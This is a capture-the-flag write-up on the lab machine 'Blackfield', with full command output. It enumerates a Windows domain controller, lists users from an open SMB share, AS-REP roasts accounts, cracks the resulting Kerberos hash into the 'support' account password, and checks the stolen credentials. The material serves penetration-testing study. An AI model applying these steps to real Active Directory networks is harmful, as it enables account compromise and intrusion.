    • user: j.nakazawa@realcorp.htb

Wednesday, September 27, 2023 | 14 minutes Read
Hero Image
[HTB] Machine: Blackfield

Blackfield

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.192 --min-rate 5000 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 18:54 BST
Nmap scan report for 10.10.10.192 (10.10.10.192)
Host is up (0.11s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
593/tcp  open  http-rpc-epmap
3268/tcp open  globalcatLDAP
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 35.69 seconds

└─$ nmap -Pn -p53,88,135,389,445,593,3268,5985 -sC -sV 10.10.10.192 --min-rate 5000 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 18:56 BST
Nmap scan report for 10.10.10.192 (10.10.10.192)
Host is up (0.15s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-18 00:55:30Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m20s
| smb2-time: 
|   date: 2023-09-18T00:55:39
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.42 seconds
  • smb
└─$ smbclient -N -L //10.10.10.192                                  

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        profiles$       Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
  • dns
└─$ sudo vim /etc/hosts                                                                                                     
[sudo] password for kali: 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents/tasks]
└─$ dig  @10.10.10.192 BLACKFIELD.local                                                                                     

; <<>> DiG 9.18.16-1-Debian <<>> @10.10.10.192 BLACKFIELD.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26635
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;BLACKFIELD.local.              IN      A

;; ANSWER SECTION:
BLACKFIELD.local.       600     IN      A       10.10.10.192

;; Query time: 95 msec
;; SERVER: 10.10.10.192#53(10.10.10.192) (UDP)
;; WHEN: Sun Sep 17 19:03:32 BST 2023
;; MSG SIZE  rcvd: 61

└─$ dig axfr @10.10.10.192 BLACKFIELD.local 

; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.10.192 BLACKFIELD.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
  • ldap
└─$ ldapsearch -H ldap://10.10.10.192 -x -s base namingcontexts 
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=BLACKFIELD,DC=local
namingcontexts: CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: DC=DomainDnsZones,DC=BLACKFIELD,DC=local
namingcontexts: DC=ForestDnsZones,DC=BLACKFIELD,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://10.10.10.192 -x -b "DC=BLACKFIELD,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=BLACKFIELD,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

Foothold

  • smb
└─$ smbclient -N //10.10.10.192/profiles$
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  3 17:47:12 2020
  ..                                  D        0  Wed Jun  3 17:47:12 2020
  AAlleni                             D        0  Wed Jun  3 17:47:11 2020
  ABarteski                           D        0  Wed Jun  3 17:47:11 2020
  ABekesz                             D        0  Wed Jun  3 17:47:11 2020
  ABenzies                            D        0  Wed Jun  3 17:47:11 2020
  ABiemiller                          D        0  Wed Jun  3 17:47:11 2020
  AChampken                           D        0  Wed Jun  3 17:47:11 2020
  ACheretei                           D        0  Wed Jun  3 17:47:11 2020
  ACsonaki                            D        0  Wed Jun  3 17:47:11 2020
  AHigchens                           D        0  Wed Jun  3 17:47:11 2020
  AJaquemai                           D        0  Wed Jun  3 17:47:11 2020
  AKlado                              D        0  Wed Jun  3 17:47:11 2020
  AKoffenburger                       D        0  Wed Jun  3 17:47:11 2020
  AKollolli                           D        0  Wed Jun  3 17:47:11 2020
  AKruppe                             D        0  Wed Jun  3 17:47:11 2020
  AKubale                             D        0  Wed Jun  3 17:47:11 2020
  ALamerz                             D        0  Wed Jun  3 17:47:11 2020
  AMaceldon                           D        0  Wed Jun  3 17:47:11 2020
  AMasalunga                          D        0  Wed Jun  3 17:47:11 2020
  ANavay                              D        0  Wed Jun  3 17:47:11 2020
  ANesterova                          D        0  Wed Jun  3 17:47:11 2020
  ANeusse                             D        0  Wed Jun  3 17:47:11 2020
  AOkleshen                           D        0  Wed Jun  3 17:47:11 2020
  APustulka                           D        0  Wed Jun  3 17:47:11 2020
  ARotella                            D        0  Wed Jun  3 17:47:11 2020
  ASanwardeker                        D        0  Wed Jun  3 17:47:11 2020
  AShadaia                            D        0  Wed Jun  3 17:47:11 2020
  ASischo                             D        0  Wed Jun  3 17:47:11 2020
  ASpruce                             D        0  Wed Jun  3 17:47:11 2020
  ATakach                             D        0  Wed Jun  3 17:47:11 2020
  ATaueg                              D        0  Wed Jun  3 17:47:11 2020
  ATwardowski                         D        0  Wed Jun  3 17:47:11 2020
  audit2020                           D        0  Wed Jun  3 17:47:11 2020
  AWangenheim                         D        0  Wed Jun  3 17:47:11 2020
  AWorsey                             D        0  Wed Jun  3 17:47:11 2020
  AZigmunt                            D        0  Wed Jun  3 17:47:11 2020
  BBakajza                            D        0  Wed Jun  3 17:47:11 2020
  BBeloucif                           D        0  Wed Jun  3 17:47:11 2020
  BCarmitcheal                        D        0  Wed Jun  3 17:47:11 2020
  BConsultant                         D        0  Wed Jun  3 17:47:11 2020
  BErdossy                            D        0  Wed Jun  3 17:47:11 2020
  BGeminski                           D        0  Wed Jun  3 17:47:11 2020
  BLostal                             D        0  Wed Jun  3 17:47:11 2020
  BMannise                            D        0  Wed Jun  3 17:47:11 2020
  BNovrotsky                          D        0  Wed Jun  3 17:47:11 2020
  BRigiero                            D        0  Wed Jun  3 17:47:11 2020
  BSamkoses                           D        0  Wed Jun  3 17:47:11 2020
  BZandonella                         D        0  Wed Jun  3 17:47:11 2020
  CAcherman                           D        0  Wed Jun  3 17:47:12 2020
  CAkbari                             D        0  Wed Jun  3 17:47:12 2020
  CAldhowaihi                         D        0  Wed Jun  3 17:47:12 2020
  CArgyropolous                       D        0  Wed Jun  3 17:47:12 2020
  CDufrasne                           D        0  Wed Jun  3 17:47:12 2020
  CGronk                              D        0  Wed Jun  3 17:47:11 2020
  Chiucarello                         D        0  Wed Jun  3 17:47:11 2020
  Chiuccariello                       D        0  Wed Jun  3 17:47:12 2020
  CHoytal                             D        0  Wed Jun  3 17:47:12 2020
  CKijauskas                          D        0  Wed Jun  3 17:47:12 2020
  CKolbo                              D        0  Wed Jun  3 17:47:12 2020
  CMakutenas                          D        0  Wed Jun  3 17:47:12 2020
  CMorcillo                           D        0  Wed Jun  3 17:47:11 2020
  CSchandall                          D        0  Wed Jun  3 17:47:12 2020
  CSelters                            D        0  Wed Jun  3 17:47:12 2020
  CTolmie                             D        0  Wed Jun  3 17:47:12 2020
  DCecere                             D        0  Wed Jun  3 17:47:12 2020
  DChintalapalli                      D        0  Wed Jun  3 17:47:12 2020
  DCwilich                            D        0  Wed Jun  3 17:47:12 2020
  DGarbatiuc                          D        0  Wed Jun  3 17:47:12 2020
  DKemesies                           D        0  Wed Jun  3 17:47:12 2020
  DMatuka                             D        0  Wed Jun  3 17:47:12 2020
  DMedeme                             D        0  Wed Jun  3 17:47:12 2020
  DMeherek                            D        0  Wed Jun  3 17:47:12 2020
  DMetych                             D        0  Wed Jun  3 17:47:12 2020
  DPaskalev                           D        0  Wed Jun  3 17:47:12 2020
  DPriporov                           D        0  Wed Jun  3 17:47:12 2020
  DRusanovskaya                       D        0  Wed Jun  3 17:47:12 2020
  DVellela                            D        0  Wed Jun  3 17:47:12 2020
  DVogleson                           D        0  Wed Jun  3 17:47:12 2020
  DZwinak                             D        0  Wed Jun  3 17:47:12 2020
  EBoley                              D        0  Wed Jun  3 17:47:12 2020
  EEulau                              D        0  Wed Jun  3 17:47:12 2020
  EFeatherling                        D        0  Wed Jun  3 17:47:12 2020
  EFrixione                           D        0  Wed Jun  3 17:47:12 2020
  EJenorik                            D        0  Wed Jun  3 17:47:12 2020
  EKmilanovic                         D        0  Wed Jun  3 17:47:12 2020
  ElKatkowsky                         D        0  Wed Jun  3 17:47:12 2020
  EmaCaratenuto                       D        0  Wed Jun  3 17:47:12 2020
  EPalislamovic                       D        0  Wed Jun  3 17:47:12 2020
  EPryar                              D        0  Wed Jun  3 17:47:12 2020
  ESachhitello                        D        0  Wed Jun  3 17:47:12 2020
  ESariotti                           D        0  Wed Jun  3 17:47:12 2020
  ETurgano                            D        0  Wed Jun  3 17:47:12 2020
  EWojtila                            D        0  Wed Jun  3 17:47:12 2020
  FAlirezai                           D        0  Wed Jun  3 17:47:12 2020
  FBaldwind                           D        0  Wed Jun  3 17:47:12 2020
  FBroj                               D        0  Wed Jun  3 17:47:12 2020
  FDeblaquire                         D        0  Wed Jun  3 17:47:12 2020
  FDegeorgio                          D        0  Wed Jun  3 17:47:12 2020
  FianLaginja                         D        0  Wed Jun  3 17:47:12 2020
  FLasokowski                         D        0  Wed Jun  3 17:47:12 2020
  FPflum                              D        0  Wed Jun  3 17:47:12 2020
  FReffey                             D        0  Wed Jun  3 17:47:12 2020
  GaBelithe                           D        0  Wed Jun  3 17:47:12 2020
  Gareld                              D        0  Wed Jun  3 17:47:12 2020
  GBatowski                           D        0  Wed Jun  3 17:47:12 2020
  GForshalger                         D        0  Wed Jun  3 17:47:12 2020
  GGomane                             D        0  Wed Jun  3 17:47:12 2020
  GHisek                              D        0  Wed Jun  3 17:47:12 2020
  GMaroufkhani                        D        0  Wed Jun  3 17:47:12 2020
  GMerewether                         D        0  Wed Jun  3 17:47:12 2020
  GQuinniey                           D        0  Wed Jun  3 17:47:12 2020
  GRoswurm                            D        0  Wed Jun  3 17:47:12 2020
  GWiegard                            D        0  Wed Jun  3 17:47:12 2020
  HBlaziewske                         D        0  Wed Jun  3 17:47:12 2020
  HColantino                          D        0  Wed Jun  3 17:47:12 2020
  HConforto                           D        0  Wed Jun  3 17:47:12 2020
  HCunnally                           D        0  Wed Jun  3 17:47:12 2020
  HGougen                             D        0  Wed Jun  3 17:47:12 2020
  HKostova                            D        0  Wed Jun  3 17:47:12 2020
  IChristijr                          D        0  Wed Jun  3 17:47:12 2020
  IKoledo                             D        0  Wed Jun  3 17:47:12 2020
  IKotecky                            D        0  Wed Jun  3 17:47:12 2020
  ISantosi                            D        0  Wed Jun  3 17:47:12 2020
  JAngvall                            D        0  Wed Jun  3 17:47:12 2020
  JBehmoiras                          D        0  Wed Jun  3 17:47:12 2020
  JDanten                             D        0  Wed Jun  3 17:47:12 2020
  JDjouka                             D        0  Wed Jun  3 17:47:12 2020
  JKondziola                          D        0  Wed Jun  3 17:47:12 2020
  JLeytushsenior                      D        0  Wed Jun  3 17:47:12 2020
  JLuthner                            D        0  Wed Jun  3 17:47:12 2020
  JMoorehendrickson                   D        0  Wed Jun  3 17:47:12 2020
  JPistachio                          D        0  Wed Jun  3 17:47:12 2020
  JScima                              D        0  Wed Jun  3 17:47:12 2020
  JSebaali                            D        0  Wed Jun  3 17:47:12 2020
  JShoenherr                          D        0  Wed Jun  3 17:47:12 2020
  JShuselvt                           D        0  Wed Jun  3 17:47:12 2020
  KAmavisca                           D        0  Wed Jun  3 17:47:12 2020
  KAtolikian                          D        0  Wed Jun  3 17:47:12 2020
  KBrokinn                            D        0  Wed Jun  3 17:47:12 2020
  KCockeril                           D        0  Wed Jun  3 17:47:12 2020
  KColtart                            D        0  Wed Jun  3 17:47:12 2020
  KCyster                             D        0  Wed Jun  3 17:47:12 2020
  KDorney                             D        0  Wed Jun  3 17:47:12 2020
  KKoesno                             D        0  Wed Jun  3 17:47:12 2020
  KLangfur                            D        0  Wed Jun  3 17:47:12 2020
  KMahalik                            D        0  Wed Jun  3 17:47:12 2020
  KMasloch                            D        0  Wed Jun  3 17:47:12 2020
  KMibach                             D        0  Wed Jun  3 17:47:12 2020
  KParvankova                         D        0  Wed Jun  3 17:47:12 2020
  KPregnolato                         D        0  Wed Jun  3 17:47:12 2020
  KRasmor                             D        0  Wed Jun  3 17:47:12 2020
  KShievitz                           D        0  Wed Jun  3 17:47:12 2020
  KSojdelius                          D        0  Wed Jun  3 17:47:12 2020
  KTambourgi                          D        0  Wed Jun  3 17:47:12 2020
  KVlahopoulos                        D        0  Wed Jun  3 17:47:12 2020
  KZyballa                            D        0  Wed Jun  3 17:47:12 2020
  LBajewsky                           D        0  Wed Jun  3 17:47:12 2020
  LBaligand                           D        0  Wed Jun  3 17:47:12 2020
  LBarhamand                          D        0  Wed Jun  3 17:47:12 2020
  LBirer                              D        0  Wed Jun  3 17:47:12 2020
  LBobelis                            D        0  Wed Jun  3 17:47:12 2020
  LChippel                            D        0  Wed Jun  3 17:47:12 2020
  LChoffin                            D        0  Wed Jun  3 17:47:12 2020
  LCominelli                          D        0  Wed Jun  3 17:47:12 2020
  LDruge                              D        0  Wed Jun  3 17:47:12 2020
  LEzepek                             D        0  Wed Jun  3 17:47:12 2020
  LHyungkim                           D        0  Wed Jun  3 17:47:12 2020
  LKarabag                            D        0  Wed Jun  3 17:47:12 2020
  LKirousis                           D        0  Wed Jun  3 17:47:12 2020
  LKnade                              D        0  Wed Jun  3 17:47:12 2020
  LKrioua                             D        0  Wed Jun  3 17:47:12 2020
  LLefebvre                           D        0  Wed Jun  3 17:47:12 2020
  LLoeradeavilez                      D        0  Wed Jun  3 17:47:12 2020
  LMichoud                            D        0  Wed Jun  3 17:47:12 2020
  LTindall                            D        0  Wed Jun  3 17:47:12 2020
  LYturbe                             D        0  Wed Jun  3 17:47:12 2020
  MArcynski                           D        0  Wed Jun  3 17:47:12 2020
  MAthilakshmi                        D        0  Wed Jun  3 17:47:12 2020
  MAttravanam                         D        0  Wed Jun  3 17:47:12 2020
  MBrambini                           D        0  Wed Jun  3 17:47:12 2020
  MHatziantoniou                      D        0  Wed Jun  3 17:47:12 2020
  MHoerauf                            D        0  Wed Jun  3 17:47:12 2020
  MKermarrec                          D        0  Wed Jun  3 17:47:12 2020
  MKillberg                           D        0  Wed Jun  3 17:47:12 2020
  MLapesh                             D        0  Wed Jun  3 17:47:12 2020
  MMakhsous                           D        0  Wed Jun  3 17:47:12 2020
  MMerezio                            D        0  Wed Jun  3 17:47:12 2020
  MNaciri                             D        0  Wed Jun  3 17:47:12 2020
  MShanmugarajah                      D        0  Wed Jun  3 17:47:12 2020
  MSichkar                            D        0  Wed Jun  3 17:47:12 2020
  MTemko                              D        0  Wed Jun  3 17:47:12 2020
  MTipirneni                          D        0  Wed Jun  3 17:47:12 2020
  MTonuri                             D        0  Wed Jun  3 17:47:12 2020
  MVanarsdel                          D        0  Wed Jun  3 17:47:12 2020
  NBellibas                           D        0  Wed Jun  3 17:47:12 2020
  NDikoka                             D        0  Wed Jun  3 17:47:12 2020
  NGenevro                            D        0  Wed Jun  3 17:47:12 2020
  NGoddanti                           D        0  Wed Jun  3 17:47:12 2020
  NMrdirk                             D        0  Wed Jun  3 17:47:12 2020
  NPulido                             D        0  Wed Jun  3 17:47:12 2020
  NRonges                             D        0  Wed Jun  3 17:47:12 2020
  NSchepkie                           D        0  Wed Jun  3 17:47:12 2020
  NVanpraet                           D        0  Wed Jun  3 17:47:12 2020
  OBelghazi                           D        0  Wed Jun  3 17:47:12 2020
  OBushey                             D        0  Wed Jun  3 17:47:12 2020
  OHardybala                          D        0  Wed Jun  3 17:47:12 2020
  OLunas                              D        0  Wed Jun  3 17:47:12 2020
  ORbabka                             D        0  Wed Jun  3 17:47:12 2020
  PBourrat                            D        0  Wed Jun  3 17:47:12 2020
  PBozzelle                           D        0  Wed Jun  3 17:47:12 2020
  PBranti                             D        0  Wed Jun  3 17:47:12 2020
  PCapperella                         D        0  Wed Jun  3 17:47:12 2020
  PCurtz                              D        0  Wed Jun  3 17:47:12 2020
  PDoreste                            D        0  Wed Jun  3 17:47:12 2020
  PGegnas                             D        0  Wed Jun  3 17:47:12 2020
  PMasulla                            D        0  Wed Jun  3 17:47:12 2020
  PMendlinger                         D        0  Wed Jun  3 17:47:12 2020
  PParakat                            D        0  Wed Jun  3 17:47:12 2020
  PProvencer                          D        0  Wed Jun  3 17:47:12 2020
  PTesik                              D        0  Wed Jun  3 17:47:12 2020
  PVinkovich                          D        0  Wed Jun  3 17:47:12 2020
  PVirding                            D        0  Wed Jun  3 17:47:12 2020
  PWeinkaus                           D        0  Wed Jun  3 17:47:12 2020
  RBaliukonis                         D        0  Wed Jun  3 17:47:12 2020
  RBochare                            D        0  Wed Jun  3 17:47:12 2020
  RKrnjaic                            D        0  Wed Jun  3 17:47:12 2020
  RNemnich                            D        0  Wed Jun  3 17:47:12 2020
  RPoretsky                           D        0  Wed Jun  3 17:47:12 2020
  RStuehringer                        D        0  Wed Jun  3 17:47:12 2020
  RSzewczuga                          D        0  Wed Jun  3 17:47:12 2020
  RVallandas                          D        0  Wed Jun  3 17:47:12 2020
  RWeatherl                           D        0  Wed Jun  3 17:47:12 2020
  RWissor                             D        0  Wed Jun  3 17:47:12 2020
  SAbdulagatov                        D        0  Wed Jun  3 17:47:12 2020
  SAjowi                              D        0  Wed Jun  3 17:47:12 2020
  SAlguwaihes                         D        0  Wed Jun  3 17:47:12 2020
  SBonaparte                          D        0  Wed Jun  3 17:47:12 2020
  SBouzane                            D        0  Wed Jun  3 17:47:12 2020
  SChatin                             D        0  Wed Jun  3 17:47:12 2020
  SDellabitta                         D        0  Wed Jun  3 17:47:12 2020
  SDhodapkar                          D        0  Wed Jun  3 17:47:12 2020
  SEulert                             D        0  Wed Jun  3 17:47:12 2020
  SFadrigalan                         D        0  Wed Jun  3 17:47:12 2020
  SGolds                              D        0  Wed Jun  3 17:47:12 2020
  SGrifasi                            D        0  Wed Jun  3 17:47:12 2020
  SGtlinas                            D        0  Wed Jun  3 17:47:12 2020
  SHauht                              D        0  Wed Jun  3 17:47:12 2020
  SHederian                           D        0  Wed Jun  3 17:47:12 2020
  SHelregel                           D        0  Wed Jun  3 17:47:12 2020
  SKrulig                             D        0  Wed Jun  3 17:47:12 2020
  SLewrie                             D        0  Wed Jun  3 17:47:12 2020
  SMaskil                             D        0  Wed Jun  3 17:47:12 2020
  Smocker                             D        0  Wed Jun  3 17:47:12 2020
  SMoyta                              D        0  Wed Jun  3 17:47:12 2020
  SRaustiala                          D        0  Wed Jun  3 17:47:12 2020
  SReppond                            D        0  Wed Jun  3 17:47:12 2020
  SSicliano                           D        0  Wed Jun  3 17:47:12 2020
  SSilex                              D        0  Wed Jun  3 17:47:12 2020
  SSolsbak                            D        0  Wed Jun  3 17:47:12 2020
  STousignaut                         D        0  Wed Jun  3 17:47:12 2020
  support                             D        0  Wed Jun  3 17:47:12 2020
  svc_backup                          D        0  Wed Jun  3 17:47:12 2020
  SWhyte                              D        0  Wed Jun  3 17:47:12 2020
  SWynigear                           D        0  Wed Jun  3 17:47:12 2020
  TAwaysheh                           D        0  Wed Jun  3 17:47:12 2020
  TBadenbach                          D        0  Wed Jun  3 17:47:12 2020
  TCaffo                              D        0  Wed Jun  3 17:47:12 2020
  TCassalom                           D        0  Wed Jun  3 17:47:12 2020
  TEiselt                             D        0  Wed Jun  3 17:47:12 2020
  TFerencdo                           D        0  Wed Jun  3 17:47:12 2020
  TGaleazza                           D        0  Wed Jun  3 17:47:12 2020
  TKauten                             D        0  Wed Jun  3 17:47:12 2020
  TKnupke                             D        0  Wed Jun  3 17:47:12 2020
  TLintlop                            D        0  Wed Jun  3 17:47:12 2020
  TMusselli                           D        0  Wed Jun  3 17:47:12 2020
  TOust                               D        0  Wed Jun  3 17:47:12 2020
  TSlupka                             D        0  Wed Jun  3 17:47:12 2020
  TStausland                          D        0  Wed Jun  3 17:47:12 2020
  TZumpella                           D        0  Wed Jun  3 17:47:12 2020
  UCrofskey                           D        0  Wed Jun  3 17:47:12 2020
  UMarylebone                         D        0  Wed Jun  3 17:47:12 2020
  UPyrke                              D        0  Wed Jun  3 17:47:12 2020
  VBublavy                            D        0  Wed Jun  3 17:47:12 2020
  VButziger                           D        0  Wed Jun  3 17:47:12 2020
  VFuscca                             D        0  Wed Jun  3 17:47:12 2020
  VLitschauer                         D        0  Wed Jun  3 17:47:12 2020
  VMamchuk                            D        0  Wed Jun  3 17:47:12 2020
  VMarija                             D        0  Wed Jun  3 17:47:12 2020
  VOlaosun                            D        0  Wed Jun  3 17:47:12 2020
  VPapalouca                          D        0  Wed Jun  3 17:47:12 2020
  WSaldat                             D        0  Wed Jun  3 17:47:12 2020
  WVerzhbytska                        D        0  Wed Jun  3 17:47:12 2020
  WZelazny                            D        0  Wed Jun  3 17:47:12 2020
  XBemelen                            D        0  Wed Jun  3 17:47:12 2020
  XDadant                             D        0  Wed Jun  3 17:47:12 2020
  XDebes                              D        0  Wed Jun  3 17:47:12 2020
  XKonegni                            D        0  Wed Jun  3 17:47:12 2020
  XRykiel                             D        0  Wed Jun  3 17:47:12 2020
  YBleasdale                          D        0  Wed Jun  3 17:47:12 2020
  YHuftalin                           D        0  Wed Jun  3 17:47:12 2020
  YKivlen                             D        0  Wed Jun  3 17:47:12 2020
  YKozlicki                           D        0  Wed Jun  3 17:47:12 2020
  YNyirenda                           D        0  Wed Jun  3 17:47:12 2020
  YPredestin                          D        0  Wed Jun  3 17:47:12 2020
  YSeturino                           D        0  Wed Jun  3 17:47:12 2020
  YSkoropada                          D        0  Wed Jun  3 17:47:12 2020
  YVonebers                           D        0  Wed Jun  3 17:47:12 2020
  YZarpentine                         D        0  Wed Jun  3 17:47:12 2020
  ZAlatti                             D        0  Wed Jun  3 17:47:12 2020
  ZKrenselewski                       D        0  Wed Jun  3 17:47:12 2020
  ZMalaab                             D        0  Wed Jun  3 17:47:12 2020
  ZMiick                              D        0  Wed Jun  3 17:47:12 2020
  ZScozzari                           D        0  Wed Jun  3 17:47:12 2020
  ZTimofeeff                          D        0  Wed Jun  3 17:47:12 2020
  ZWausik                             D        0  Wed Jun  3 17:47:12 2020

                5102079 blocks of size 4096. 1697641 blocks available

└─$ smbclient -N //10.10.10.192/forensic 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \>
  • Each directory is empty
    • But we can use it to create a userlist and try AS-REP-roasting
└─$ impacket-GetNPUsers -usersfile users.list -dc-ip 10.10.10.192 blackfield.local/
Impacket v0.11.0 - Copyright 2023 Fortra

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
...
$krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b644a032f41814413ebe39$b16365d416a55a510ac198406233651071444fb1de08ba43529cd7dad0a9ca5025653e234e9ee14f3cbafabb4a492089bfdf57e1b7e2328003154bafdb0bcea191020a3dce2f3aac242166054e1c32c90f2fc1f932f0c92a62bf3d30a1ce26539d5d0b14143f0e409b7c66eeefb1c7fc5c900b17595a083fb23ae675f82d9eae5b02fef0f5178b1f35ca50fd98b3f5adff177028626db9ccccbf841746a01fa7d734f9fbc6f91b62a9a676c1f188a48624c771b75652b4cf94df83849e7bdcb6b9797c4176c3e0e7327b41c3610fcb162b0279f313c79a06c9d3cb127f606198db65bf5c2bae16a91b5b9ec05e5337ef0c623eb2
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
...
  • Crack it with hashcat
    • support:#00^BlackKnight
└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1436/2936 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
...
$krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b644a032f41814413ebe39$b16365d416a55a510ac198406233651071444fb1de08ba43529cd7dad0a9ca5025653e234e9ee14f3cbafabb4a492089bfdf57e1b7e2328003154bafdb0bcea191020a3dce2f3aac242166054e1c32c90f2fc1f932f0c92a62bf3d30a1ce26539d5d0b14143f0e409b7c66eeefb1c7fc5c900b17595a083fb23ae675f82d9eae5b02fef0f5178b1f35ca50fd98b3f5adff177028626db9ccccbf841746a01fa7d734f9fbc6f91b62a9a676c1f188a48624c771b75652b4cf94df83849e7bdcb6b9797c4176c3e0e7327b41c3610fcb162b0279f313c79a06c9d3cb127f606198db65bf5c2bae16a91b5b9ec05e5337ef0c623eb2:#00^BlackKnight
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$support@BLACKFIELD.LOCAL:1f10d897a1b6...623eb2
Time.Started.....: Sun Sep 17 19:11:50 2023 (13 secs)
Time.Estimated...: Sun Sep 17 19:12:03 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1089.9 kH/s (0.41ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14336000/14344385 (99.94%)
Rejected.........: 0/14336000 (0.00%)
Restore.Point....: 14335488/14344385 (99.94%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: #1*6)0 -> #!hrvert
Hardware.Mon.#1..: Util: 91%

Started: Sun Sep 17 19:11:49 2023
Stopped: Sun Sep 17 19:12:05 2023
  • The creds are valid
    • But no winrm access
└─$ crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight'
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight

└─$ crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight'                               
SMB         10.10.10.192    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP        10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   DC01             [-] BLACKFIELD.local\support:#00^BlackKnight

User #1

  • Nothing new in smb except for SYSVOL and NETLOGON
└─$ smbmap -u support -p '#00^BlackKnight' -H 10.10.10.192 
[+] IP: 10.10.10.192:445        Name: BLACKFIELD.local                                  
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        profiles$                                               READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share
  • No Kerberoastable users
